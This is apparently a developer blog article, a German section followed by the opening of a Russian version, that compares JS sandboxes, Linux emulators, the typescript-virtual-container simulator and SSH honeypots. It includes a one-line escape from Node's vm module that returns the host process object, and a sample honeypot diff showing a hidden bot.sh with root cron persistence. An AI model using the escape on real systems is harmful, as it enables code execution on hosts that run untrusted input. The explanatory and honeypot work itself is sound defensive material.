  • Für logische Operatoren (&&, ||) prüft er $? nach der linken Seite, bevor er die rechte ausführt
  • Für Subshells ($(...), ` `) forked er den Ausführungskontext
  • Für Umleitungen (>file, >>file, 2>&1, <file) richtet er die Stream-Verdrahtung vor der Ausführung ein
  • Für Hintergrundjobs (cmd &) führt er aus, ohne auf den Abschluss zu warten
  • Für Variablen expandiert er $VAR, ${VAR:-default}, ${#VAR} und arithmetische $((expr))
  • Für Brace-Expansion ({a,b,c}, {1..5}) generiert er die vollständige Expansionsliste vor der Ausführung

All dies ist echtes POSIX-Shell-Verhalten. Der Parser verarbeitet Heredocs, Prozesssubstitution, Globbing (*, ?, [abc]) und Anführungszeichen (einfache Anführungszeichen, doppelte Anführungszeichen mit Interpolation, Backslash-Escaping). Es ist nicht perfekt – Randfälle existieren – aber es geht weit über das hinaus, was man von einem TypeScript-Projekt erwarten würde.

~170 eingebaute Befehle

Befehle sind TypeScript-Funktionen, die in einer Befehlsregistrierung registriert sind. Sie erhalten einen CommandContext mit stdin/stdout/stderr-Streams, dem VFS, der Benutzersitzung, der Shell-Umgebung und Zugriff auf Submodule.

170 Unix-Befehlsimplementierungen zu schreiben ist... eine Menge. Einige sind trivial (echo, true, false), einige sind überraschend komplex (awk, find, tar). Wie vollständiges POSIX awk? In TypeScript? Das ist ehrlich verrückt. Hier eine Auswahl dessen, was enthalten ist:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (client-side, connecting out),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (full interactive editor), vim (basic), vi (basic),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulated), systemctl (stubbed), journalctl (stubbed),
...and ~130 more

Die „Stubs" (git, python3, node) reagieren realistisch auf häufige Aufrufe – python3 --version gibt eine glaubwürdige Versionszeichenkette zurück, git status zeigt einen gefälschten Repository-Status – ohne echte Arbeit zu leisten. Für einen Honeypot sind diese tatsächlich nützlicher als die echten Dinger, weil sie dir erlauben zu beobachten, was Angreifer auszuführen versuchen, ohne tatsächlich etwas Schädliches auszuführen.

Der SSH-Server

Die SSH-Schicht verwendet das echte ssh2-npm-Paket – echtes SSH-Protokoll, echter Schlüsselaustausch, echte Verschlüsselung. SSHMimic kapselt es:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Real SSH: ssh -p 2222 root@localhost
// Real SFTP: sftp -P 2222 root@localhost
// Real SCP: scp -P 2222 file root@localhost:/tmp/

Die shellProperties bestimmen, was uname -a, lsb_release -a, neofetch, /proc/version und /etc/os-release melden. Du kannst jede Linux-Distribution und Kernel-Version überzeugend impersonaten – für einen echten SSH-Client gibt es buchstäblich keine Möglichkeit, den Unterschied zu erkennen.

Das HoneyPot-Modul

Weil der Shell-Interpreter echt und der SSH-Server echt ist, werden Angreiferbefehle tatsächlich in der virtuellen Umgebung ausgeführt. Von Angreifern ausgelöste wget-Anfragen werden mit Ziel-URLs protokolliert. Von Angreifern erstellte Dateien werden im VFS gespeichert. Versuche der Angreifer, Berechtigungen zu eskalieren, erzeugen realistische Fehler.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// After a session, diff the filesystem
const before = shell.vfs.toSnapshot();
// ... attacker session ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Das unterscheidet sich qualitativ von Cowrie. Cowries gefälschtes Dateisystem kann auf ls reagieren, aber nicht tatsächlich verfolgen, welche Dateien ein Angreifer erstellt hat und welche Änderungen er als strukturierten Diff vorgenommen hat. typescript-virtual-container kann das, weil das VFS eine lebende Datenstruktur ist – jeder Schreibvorgang wird verfolgt. Dieser Cron-Eintrag, den der Angreifer gerade hinzugefügt hat? Er ist im Diff. Dieser .hidden-Ordner? Im Diff. Ziemlich nützlich für Malware-Analyse.

Der virtuelle Netzwerk-Stack

Das ist wahrscheinlich der beeindruckendste Teil des gesamten Projekts, und er hat kein Äquivalent in irgendeinem anderen Projekt in diesem Bereich. Ein vollständiger L2/L3-virtueller Netzwerk-Stack mit VPN-Unterstützung, geschrieben in reinem TypeScript, ohne echte Netzwerkadapter. Das ist wirklich verrückt.

VirtualNetworkManager gibt jeder VirtualShell-Instanz virtuelle Netzwerkschnittstellen mit konfigurierbaren IP-Adressen, Routing-Tabellen und einer Software-Firewall (iptables-artige Regeln mit Conntrack und NAT). ip addr, ip route, iptables -L, netstat -rn zeigen alle den virtuellen Netzwerkstatus an.

VirtualSwitch (benannt Baie – vom französischen Wort für Server-Rack-Bucht, „baie informatique") verbindet mehrere Shells in einem gemeinsamen Subnetz. Es implementiert:

  • MAC-Learning und ARP
  • IP-Routing zwischen Subnetzen
  • NAT (Outbound-Masquerade)
  • DNS (konfigurierbare Datensätze pro Subnetz)
  • Lastverteilung (Round-Robin, Least-Connections)
  • Traffic-Shaping: Latenz, Jitter (Gauß-Verteilung), Paketverlust, Burst-Verlust, Neuordnung, Duplikation
  • Bandbreitenbegrenzung (Token-Bucket)
  • MTU-Durchsetzung
  • Verbindungsverfolgung (zustandsbehaftet, mit NEW/ESTABLISHED/TIME_WAIT-Zuständen)
const baie = new Baie("192.168.0.0/24");

// Three virtual machines on the same switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web can reach api, api can reach db, web cannot reach db directly
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Traffic shaping: simulate a flaky WAN link to the outside
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn erstellt verschlüsselte Tunnel zwischen Baie-Instanzen – du kannst ein Multi-Site-Netzwerk mit VPN-Interconnects zwischen Standorten simulieren.

VirtualProxy implementiert Port-Weiterleitung und einen SOCKS5-Proxy.

Nichts davon berührt einen echten Netzwerkadapter. Es ist alles TypeScript-Objekt-Routing. Der ping-Befehl „funktioniert", indem er durch den virtuellen Switch routet und simulierte ICMP-Antworten zurückgibt. curl http://192.168.0.3/api routet durch das virtuelle Netzwerk, trifft auf die simulierte HTTP-Antwort der api-Shell und gibt den Inhalt zurück. Es ist in der besten Weise durch und durch eine Schildkröten.

Die SandboxedShell

Für die programmatische Nutzung, bei der du eine stärkere Isolation benötigst, führt SandboxedShell eine Shell-Sitzung in einem Node.js-Worker-Thread aus:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% of one core
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

Die Isolation wird hier durch die VFS-Schicht (der Worker-Thread der Shell kann nur das virtuelle Dateisystem sehen, niemals das Host-Dateisystem) plus Node.js-Worker-Thread-Speicherisolation erzwungen. Das ist leichter als isolated-vm, aber besser geeignet für Shell-Level-Isolation als für JS-Level-Isolation.

Ressourcenbegrenzung

Du kannst Pro-Shell-Ressourcenlimits konfigurieren, die sich darauf auswirken, was Systemüberwachungsbefehle melden:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Innerhalb dieser Shell zeigt free -m 512 MB Gesamt-RAM an. nproc gibt 2 zurück. /proc/meminfo zeigt die gedeckelten Werte. htop und top zeigen die gedeckelte CPU-Anzahl. Damit kannst du das Hardware-Profil der gefälschten Maschine präzise fingerabtasten.

Drei Bereitstellungsmodi

Modus 1: SSH/SFTP-Server
  VirtualSshServer / VirtualSftpServer
  → Echtes SSH-Protokoll, echtes SFTP, echtes SCP
  → Anwendungsfall: Honeypots, Remote-Testumgebungen, Trainingslabore

Modus 2: Web-Shell (Browser)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM-Bundle)
  → Läuft im Browser, VFS in IndexedDB gespeichert
  → Anwendungsfall: Interaktive Tutorials, eingebettete Terminals, Demos
  → Bonus: startxfce4 für einen vollständigen simulierten XFCE-Desktop ausführen

Modus 3: Eigenständiges CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (einzelne Datei, keine Installation)
  → curl und ausführen, VFS im .vfs/-Verzeichnis speichern
  → Anwendungsfall: Schnelle Demos, lokale Experimente

Die Polyfills – wie der Browser-Build ohne Wasm funktioniert

OK, das ist der Teil, den ich wirklich clever finde und den ich speziell hervorheben wollte.

Eine Node.js-Bibliothek im Browser zum Laufen zu bringen, ist normalerweise ein Albtraum. Entweder du verwendest eine Wasm-Runtime (schwer, langsam zu laden) oder du verbringst Wochen damit, manuell jeden node:*-Import durch eine browserkompatible Alternative zu ersetzen. Fortune hat das Zweite getan – aber sehr sauber, indem sie einen Satz benutzerdefinierter Polyfills geschrieben hat, die im Verzeichnis polyfills/ des Repositories leben.

Die Build-Pipeline ist einfach esbuild mit einem Haufen alias-Einträgen:

// demo/build.js -- the entire browser build config
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Kein Wasm. Keine externe Polyfill-Bibliothek. Kein webpack-node-externals-Unsinn. Nur aliased Module und ein paar injizierte Globals. Lass mich jedes einzelne durchgehen, denn einige von ihnen sind wirklich beeindruckend.

node:fs – IndexedDB als gefälschtes Dateisystem

Das ist mein Favorit. Der node:fs-Polyfill implementiert die synchrone Node.js-fs-API (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...), unterstützt von zwei Schichten: einer speicherinternen Map für synchrone Lesevorgänge und IndexedDB für Persistenz über Seitenladevorgänge hinweg. Schreibvorgänge treffen die Map sofort (damit readFileSync direkt nach writeFileSync immer funktioniert) und werden dann asynchron im Hintergrund nach IndexedDB gespült.

// Sync cache (path → Uint8Array | null) -- instant reads
const memCache = new Map();

// Preload everything from IndexedDB into memCache at startup
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Das ist der Grund, warum der VFS-Snapshot Seitenladevorgänge im Browser überlebt – das gesamte .vfsb-Binary wird über diesen Polyfill in IndexedDB geschrieben und beim nächsten Laden zurückgelesen. Kein Wasm. Kein Server. Nur IndexedDB, das es seit etwa 2011 in jedem Browser gibt.

node:crypto – SHA-256 in reinem JS

Anstatt eine Wasm-Crypto-Bibliothek einzubinden, implementiert der Crypto-Polyfill SHA-256 von Grund auf mit den FIPS-180-4-Rundenkonstanten. 166 Zeilen reines JS mit vollständiger Hex/Base64/Uint8Array-Ausgabeunterstützung. Die gesamte Hashing-Funktionalität der Bibliothek läuft darüber – SSH-Host-Key-Fingerprinting, interne Prüfsummen, alles. Kompakt, null Abhängigkeiten, funktioniert einfach.

node:os – liest die tatsächliche Hardware des Browsers

Das hier ist ein netter Touch. Anstatt hartcodierte Platzhalterwerte zurückzugeben, liest node:os navigator.deviceMemory für den gesamten RAM und navigator.hardwareConcurrency für die CPU-Anzahl. neofetch im Browser-Build meldet also tatsächlich etwas, das deinem echten Rechner entspricht – kein erfundener 2 Kerne, 2 GB RAM-Stub.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB fallback
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // also parses navigator.userAgent to guess the CPU model string
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify – ehrliche Stubs

Der Browser kann keine TCP-Sockets öffnen oder echtes SSH ausführen, daher sind dies Stubs, die einen NotImplemented-Fehler mit einer klaren Nachricht werfen, wenn etwas versucht, sie zu verwenden. Kein stilles Versagen, kein undefined, das zurückgegeben wird, wenn ein Objekt erwartet wird. Nur ein lautes, klares „das funktioniert nicht im Browser" – genau das, was du willst.

process.js und buffer.js – injizierte Globals

Diese beiden werden über esbuilds inject-Option oben in jede gebündelte Datei injiziert, sodass process und Buffer ohne expliziten Import global verfügbar sind. process.js ist winzig: env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js ist eine vollständige Buffer-Neuinplementierung auf Basis von Uint8Array – alle readUInt32BE-, writeInt16LE-, Hex/Base64-Codierungsmethoden, auf die die SSH-Implementierung und das VFS angewiesen sind.


Der gesamte Satz von Polyfills umfasst etwa 640 Zeilen handgeschriebenes JS. Keine npm-Pakete. Kein Wasm. Und das Ergebnis ist ein Browser-Bundle, das einfach die Bibliothek ist, nativ läuft, ohne die übliche „aber funktioniert es auch wirklich im Browser?"-Angst, die man bei Node-first-Bibliotheken hat. Es lohnt sich, einen Blick in den polyfills/-Ordner im Repository zu werfen, wenn du neugierig bist – jede Datei ist gut abgegrenzt und für sich allein lesbar, was eine Stilentscheidung ist, die ich sehr schätze.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Kategorie JS-Sandbox JS-Sandbox JS-Sandbox Emulator Emulator Node.js/Wasm Honeypot Simulator
Isoliert JS ⚠️ Scope ✅ V8 Isolate ✅ Wasm n/a n/a teilweise n/a ✅ Worker
Echter Linux-Kernel ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Shell-Interpreter ❌ ❌ ❌ ✅ (echt) ✅ (echt) ✅ (echt) teilweise ✅ (benutzerdefiniert)
~170 Unix-Befehle ❌ ❌ ❌ ✅ ✅ teilweise ~20 ✅
POSIX-Berechtigungen ❌ ❌ ❌ ✅ ✅ ✅ teilweise ✅ durchgesetzt
Benutzerverwaltung ❌ ❌ ❌ ✅ ✅ ❌ minimal ✅ vollständig
Echter SSH-Server ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/Audit ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS-Diff/Snapshot ❌ ❌ ❌ begrenzt ❌ ❌ ❌ ✅
Virt. Netzwerk L2/L3 ❌ ❌ ❌ basisch ❌ ❌ ❌ ✅ vollständig
Virtuelles VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Browser-Unterstützung ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js-nativ ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
Typisierte API basisch ✅ ✅ minimal ❌ ✅ ❌ ✅ vollständig
Binärkompatibilität n/a n/a n/a ✅ ✅ teilweise n/a ❌
Boot-Zeit sofort sofort sofort 15–40s 15–40s 2–5s sofort <1s
RAM/Instanz ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
Runtime-Abhängigk. 0 1 (nativ) 1 (Wasm) 0 proprietär 1 Python-Abhäng. 3 (ssh2, ws, fflate)
Status stabil ✅ aktiv ✅ aktiv ✅ sehr aktiv kommerziell ✅ aktiv ✅ aktiv ✅ aktiv

Wann man was verwenden sollte

Du musst nicht vertrauenswürdiges JavaScript ausführen – eine benutzereingereichte Formel, ein Plugin, ein Script-Hook.
→ isolated-vm. Echtes V8-Isolate, harte Speicherlimits, explizite Kommunikationsbrücke. Vermeide vm2 – die CVE-Liste wächst weiter, ernsthaft, es ist wie ein neues alle paar Monate. Vermeide vm – es ist überhaupt keine Sandbox, bitte.

Du musst JS sandboxen und willst kein natives Addon oder brauchst Browser-Kompatibilität.
→ quickjs-emscripten. Wasm-Grenze, ~500-KB-Modul, funktioniert in Browsern und Node. Langsamer als V8, aber wirklich isoliert.

Du musst ein echtes, unverändertes Linux-Betriebssystem mit Binärkompatibilität booten.
→ v86 für 32-Bit-Linux oder container2wasm, wenn du ein bestehendes Docker-Image hast. Akzeptiere 150 MB+ RAM und eine 30-Sekunden-Boot-Zeit, das ist einfach so. Wenn du 64-Bit brauchst, schau dir CheerpX an oder verwende einfach eine echte Container-Runtime.

Du musst ein Linux-ähnliches Terminal in eine Web-App einbetten, ohne ein Backend.
→ v86 (volles OS, schwer, langsam zu starten) oder das Browser-Bundle von typescript-virtual-container (Simulator, leichter, sofortiger Start, inklusive startxfce4 für einen vollständigen Desktop, was ziemlich cool ist, um ehrlich zu sein).

Du brauchst interaktive Online-Coding-Tutorials oder eine Browser-IDE.
→ WebContainers, wenn du Node.js-Ökosystem-fokussiert bist. CheerpX, wenn du ein echtes Linux-Userland brauchst. typescript-virtual-containers Browser-Bundle, wenn du eine leichtere Option mit einer typisierten API möchtest.

Du möchtest SSH-Angreifer-TTPs in großem Maßstab sammeln.
→ Cowrie ist der Produktionsstandard, Punkt. Läuft auf jedem Linux-Server, integriert sich mit jedem SIEM, hat jetzt einen LLM-Modus. Verwende einfach Cowrie.

Du möchtest SSH-Honeypot-Daten in einer Node.js-Anwendung mit einer programmatischen API.
→ typescript-virtual-container. Befehle werden tatsächlich ausgeführt. Das VFS ist eine echte Datenstruktur, die du snapshotten und differenzieren kannst. Der Angreifer bekommt eine überzeugende, interaktive Umgebung, und du bekommst strukturierte Audit-Daten, ohne Node zu verlassen.

Du brauchts Shell-Automatisierung/Tests in CI ohne Docker.
→ typescript-virtual-container. Boot in unter einer Sekunde, Snapshot vor einem Test, Wiederherstellung danach. Shell-Befehle mit einer typisierten API ausführen. Kein Docker-Daemon, kein Kernel, keine VM, kein Warten.

Du brauchst Multi-Tenant-Shell-Umgebungen (SaaS, Bildung, Training).
→ typescript-virtual-container. 5–20 MB pro Instanz vs. 150–256 MB für einen Emulator. 100 gleichzeitige Benutzer: ~2 GB vs. ~25 GB. Das ist ein großer Unterschied bei den Hosting-Kosten!

Du brauchst einen realistischen Honeypot, der dir auch erlaubt, ein Multi-VM-Netzwerklabor aufzubauen.
→ typescript-virtual-container ist das Einzige in diesem Bereich, das beides kann.


Was es nicht kann (und das möchte ich ehrlich sagen)

Es kann keine nativen x86-Binaries ausführen. Wenn du C-Code kompilieren, einen echten Python-Interpreter ausführen oder für Linux kompilierte Software verwenden musst, gibt es keine Kernel-ABI, um diese Syscalls zu unterstützen. Befehle wie gcc, python3 und node sind Stubs – sie reagieren auf --version und häufige Aufrufe, führen aber nichts Reales aus.

Das ist der grundlegende Tradeoff: Du gewinnst 10–50x weniger Speicher, sofortigen Start, Browser-Kompatibilität, eine typisierte API, echtes SSH und virtuelles Networking – und gibst dafür die Binärkompatibilität mit dem Linux-Userland auf.

Fortune hat viel darüber nachgedacht, als sie das Projekt entworfen hat. Für die Anwendungsfälle, die sie anvisierte – Honeypots, Tests, eingebettete Terminals, CI-Umgebungen – ist das Ausführen einer kompilierten Binärdatei nie wirklich nötig. Shell-Pipelines, Dateimanipulation, Netzwerk-Routing und SSH decken alles ab. Aber wenn dein Anwendungsfall echte kompilierte Software erfordert, sind v86 oder Docker die richtige Antwort, nicht dies.


Zusammenfassung

Sooo, ja. Dieses Ökosystem ist breiter und fragmentierter, als es von außen aussieht. vm ist ein Scope-Trenner, keine Sandbox. vm2 sammelt weiterhin CVEs (ernsthaft, schau dir einfach die diesmonatigen Advisories an). isolated-vm ist die korrekte JS-Sandboxing-Antwort, aber nur JS. quickjs-emscripten ist die richtige Wahl, wenn du Browser-Kompatibilität brauchst oder native Addons vermeiden willst. v86 und CheerpX sind echte Emulatoren, wenn du echte Binärkompatibilität brauchst. WebContainers ist Node.js in Wasm, keine allgemeine Linux-Umgebung. Cowrie ist der SSH-Honeypot-Goldstandard, aber es ist Python und nicht Node-nativ.

Und dann gibt es typescript-virtual-container – Fortunes Projekt – das irgendwie in seiner eigenen Kategorie lebt. Kein Emulator, keine JS-Sandbox, kein passiver Honeypot. Etwas dazwischen, das sich als überraschend nützlich für viele Dinge erwiesen hat, die keines der anderen kann.

typescript-virtual-container füllt die Lücke, die keines der anderen berührt: eine vollständige, programmatische Linux-Shell-Umgebung mit echtem SSH, SFTP, POSIX-Berechtigungen, Benutzerverwaltung, virtuellem Networking und einer typisierten TypeScript-API – laufend in ~10 MB, bootend in unter einer Sekunde, funktionierend sowohl in Node.js als auch im Browser.

Wenn du es ausprobieren willst: Der Quellcode ist auf github.com/itsrealfortune/typescript-virtual-container und es gibt eine Live-Demo (inklusive startxfce4 für einen vollständigen Desktop, was ehrlich krank ist) auf itsrealfortune.fr/typescript-virtual-container/demo. Schau es dir an und gib Fortune ein paar Sterne auf GitHub, sie hat es verdient!

Danke fürs Lesen – das war ein langer, sogar nach meinen Maßstäben :) hoffe, es war nützlich!


Quellen

Ich habe versucht, jede Behauptung mit einer Primärquelle zu verlinken – CVE-Advisories, offizielle Dokumentationen, GitHub-Repos, Blogbeiträge von Maintainern. Ein paar Anmerkungen: Die vm2-CVE-Liste wächst weiter, also könnte der FortiGuard-Link zum Zeitpunkt deiner Lektüre veraltet sein (prüfe die GitHub-Advisories-Seite für die aktuellsten). Die Bellard-Links sind alle stabil – seine persönliche Seite gibt es schon ewig und der Inhalt ändert sich nicht. Und wenn du tiefer in die Polyfills eintauchen willst, durchstöbere einfach den polyfills/-Ordner im typescript-virtual-container-Repository direkt – es ist lesbarer als jede Beschreibung, die ich hier schreiben könnte.

JavaScript-Sandboxes

Linux-Emulatoren

Terminal-Stack

Honeypots

typescript-virtual-container

Hintergrundlektüre

Сравнение JavaScript-решений для симуляции ядра Linux

Глубокий анализ воссоздания Linux-окружений на JavaScript/TypeScript.

Все JavaScript-песочницы, эмуляторы, симуляторы и honeypot'ы -- сравнение

Короче, я залез в эту кроличью нору ОЧЕНЬ глубоко и надолго. Всё началось с того, что я помогал с typescript-virtual-container -- проектом Fortune (о ней чуть позже) -- и меня постоянно спрашивали «а чем это отличается от v86?» или «почему бы не использовать vm2?» -- и я понял, что не могу дать внятного ответа, не составив сначала карту всей экосистемы. Так что вот, мы здесь, лол.

Оказывается, есть четыре разных семейства -- JS-песочницы, эмуляторы Linux, симуляторы Linux и honeypot'ы -- и они почти никогда не пересекаются, хотя их постоянно упоминают в одном контексте. Кто-то строит систему плагинов -- тянется к isolated-vm. Кто-то демонстрирует CLI-инструмент -- тянется к v86. Кто-то занимается SSH-разведкой угроз -- тянется к Cowrie. Они решают совершенно разные проблемы под одной расплывчатой вывеской «запуск кода в коробке».

Я потратил кучу времени на чтение исходников, CVE-отчётов, документации по архитектуре и npm-страниц, чтобы написать это. Это будет оооочень длинно -- возьми кофе, серьёзно. Или два.

Небольшой дисклеймер: typescript-virtual-container часто упоминается в этой статье, потому что он послужил причиной этого исследования. Я старался быть справедливым ко всему остальному, но имей этот контекст в виду.


Часть 0 -- Для начала, какую проблему ты вообще решаешь?

Прежде чем нырять, стоит точно определить, для чего нужно каждое семейство, потому что терминология быстро становится размытой, и люди постоянно их путают (включая меня, пока я не сел и не составил карту).

JS-песочницы изолируют JavaScript-код от родительского процесса Node.js. Модель угроз: недоверенный JS-код, который может вызвать process.exit(), читать файлы или запускать дочерние процессы. Решение -- граница вокруг выполнения V8. У этих инструментов нет понятия Linux-оболочки, файловой системы с правами доступа или SSH.

Эмуляторы Linux запускают реальное, неизменённое ядро Linux внутри эмулятора процессора (x86, RISC-V, OR1K), реализованного на JavaScript или WebAssembly. Ты загружаешь реальную ОС. Ты получаешь реальные системные вызовы. Ты получаешь бинарную совместимость с программами, скомпилированными под x86. Накладные расходы огромны.

Симуляторы Linux имитируют поведение Linux-системы без запуска реального ядра. Они реализуют интерпретатор командной строки, виртуальную файловую систему и достаточно Unix-семантики, чтобы обманывать программы и людей. Никакого ядра. Никакого Wasm. Никакой эмуляции процессора. Гораздо меньшие накладные расходы.

Honeypot'ы созданы для привлечения атакующих и записи их действий. Это не столько среды выполнения, сколько инструменты наблюдаемости. Достоверность реального поведения Linux важна ровно настолько, насколько это мешает атакующему обнаружить ловушку.

С этой структурой вот где находится каждый проект в этой статье:

JS-песочница:      vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Эмулятор Linux:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Симулятор Linux:   typescript-virtual-container (уникален в этом пространстве)
Honeypot:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Терминальный стек: xterm.js + node-pty (не изолятор, но рядом)

Часть 1 -- JavaScript-песочницы

1.1 vm -- встроенный модуль Node.js (не то, что ты думаешь)

Самый старый ответ на вопрос «запустить недоверенный JS» в Node -- встроенный модуль vm. Он существует ещё с v0.1, поэтому многие тянутся к нему в первую очередь -- а потом обжигаются.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Что на самом деле делает vm: он создаёт новый V8-контекст (новый набор встроенных конструкторов -- Object, Array, Function и т.д.) и выполняет код в нём, с общей ссылкой на то, что ты поместил в sandbox. Твой движок V8 не меняется. Твой процесс не меняется. Память общая.

Почему vm не обеспечивает безопасности: прототипная цепочка JavaScript -- это DAG, который соединяет всё обратно с Object.prototype. Если ты поместишь любой объект из основного окружения в песочницу, гость может подняться по его прототипной цепочке и добраться до конструкторов основного окружения. Из Function можно вызвать Function("return process")() и восстановить реальный объект process. Конец игры. Причём сразу.

// Этот код прекрасно работает в vm -- ты получаешь реальный объект process
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Документация Node.js сама говорит: «Модуль vm не является механизмом безопасности. Не используйте его для запуска недоверенного кода.» Это предупреждение существует вечность. Люди постоянно его игнорируют. Я видел production-приложения, использующие vm как песочницу. Пожалуйста, не делайте так xD

Вердикт: механизм области видимости, а не песочница. Используй, когда нужна изолированная область видимости переменных (шаблонизаторы, функции, подобные eval, где ты контролируешь код). Никогда для недоверенного ввода.

Память: незначительные накладные расходы -- та же V8-куча, что и у основного процесса.
Безопасность: никакой против мотивированного атакующего.


1.2 vm2 -- попытка сообщества и её очень долгая смерть

vm2 был ответом сообщества на проблему побега из vm. Основная идея: обернуть каждый объект, пересекающий границу песочницы, в Proxy, который перехватывает доступ к свойствам, блокирует подъём по прототипу и отфильтровывает опасные ссылки. Умная идея в теории! Не очень на практике, как мы увидим.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // throws VMError, process not accessible

Несколько лет это работало достаточно хорошо. Но поверхность атаки JavaScript Proxy огромна. Каждая новая возможность JS -- генераторы, асинхронные итераторы, Symbol.toPrimitive, Error.prepareStackTrace, внутренние слоты Promise -- это потенциальный вектор обхода.

Хронология CVE... это нечто. Вот, смотри:

Дата CVE Механизм
Окт 2022 CVE-2022-36067 Побег через Error.prepareStackTrace в контекст хоста
Апр 2023 CVE-2023-29017 Утечка объекта стека необработанной асинхронной ошибки
Апр 2023 CVE-2023-29199 Обход санитизации исключений через handleException()
Апр 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
Май 2023 CVE-2023-32314 Proxy на Error.name → Function → RCE
Июл 2023 CVE-2023-37466 Асинхронная функция + переполнение стека + Proxy.getPrototypeOf
Июл 2023 CVE-2023-37903 Побег через Worker thread + eval

Три критических CVE в одном месяце (апрель 2023). ТРИ. ЗА ОДИН МЕСЯЦ. После CVE-2023-37903 мейнтейнер официально объявил библиотеку устаревшей с сообщением: «Библиотека содержит критические проблемы безопасности и не должна использоваться в production.»

Мейнтейнер воскресил её в октябре 2025 с версией 3.10.0, утверждая, что исправил всё известное на тот момент. Новый критический побег (CVE-2026-22709, CVSS 9.8) был раскрыт в январе 2026, за которым последовала партия из ещё одиннадцати в мае 2026. Одиннадцать. Паттерн не изменился, и я честно не думаю, что когда-либо изменится.

